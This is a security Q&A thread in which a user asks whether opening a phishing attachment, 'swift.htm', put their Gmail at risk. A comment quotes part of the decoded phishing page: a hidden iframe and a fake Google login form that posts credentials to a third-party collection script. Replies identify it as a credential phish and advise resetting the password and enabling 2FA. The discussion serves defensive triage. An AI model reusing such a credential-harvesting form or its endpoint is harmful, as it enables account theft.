1

Got an email from someone i knew (their account was hacked obvs) and had a swift.htm file attached. I clicked on it and it opened up a blank browser window. Then after reading some forums I decoded it

here's the original: https://pastebin.com/K3VNhN20 Here's it decoded using coderstoolbox.net: https://pastebin.com/DUvtFWwS

I didnt enter anyting on the web page it popped up as it was blank - however I have a tab open with my gmail - i didnt log back in manually but had to open a tab and clock on my gmail favourite which automatically logged me in.

Anything I should be worried about even though I didnt manually enter anything?

I'm using MAC OS Sierra 10.14 with chrome version 57.0.2987.133

Improve this question
5
  • If you didn't enter anything then you shouldn't have a reason to worry. I haven't looked at the code in depth but it looks like a simple phishing page. To be safe, I'd reset your account password just in case, and enable 2FA if you haven't already.
    – Awn
    Commented Apr 11, 2017 at 13:58
  • You probably opened it as a file:///document, which has a lot of restrictions in Chrome and Firefox, so there's probably nothing to worry about (but I cannot check the code, thank the "geniuses" that hold the proxies here)
    – Xenos
    Commented Apr 11, 2017 at 14:02
  • Yeah i just opened it as a file:// i think. You cant check the code using the pastebin links? is there another wayf or me to show you? the below part is worrying div id="cc_iframe_parent"><iframe id="youtube" src="Gmail_files/CheckConnection.htm" style="visibility: hidden; width: 1px; height: 1px; position: absolute; top: -100px;"></iframe></div> <img class="profile-img" src="ssl.gstatic.com/accounts/ui/avatar_2x.png" alt=""> <p class="profile-name"></p> <form method="post" action="kamesinvestmentint.com/wp/xplore/kato/mail.php" id="gaia_loginform">
    – DjC
    Commented Apr 11, 2017 at 15:55
  • its also got iframe links etc. Just wondering if opening something liek this affects all pages that I open subsequently? or as long as I havent entered anything I'm good?
    – DjC
    Commented Apr 11, 2017 at 15:57
  • From what I've read, Chrome tabs are each separate processes: stackoverflow.com/questions/39853065/… so you don't have to worry about data from gmail getting sucked into the other tab or anything. That said, the iframe could maybe detect your location/ip and such.
    – admcfajn
    Commented Mar 23, 2018 at 0:28

1 Answer 1

Reset to default
1

This is not malware , this is a credential phish. If you enter your password and submit the stolen password is sent to this url

hxxp://www.kamesinvestmentint[.]com/wp/xplore/kato/mail.php

If you did not enter a password you are safe. If the page didn't load it probably means your browser failed to render the JavaScript ... either way sounds like you are safe.

Worst case rest your password and enable 2FA/MFA

Improve this answer

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .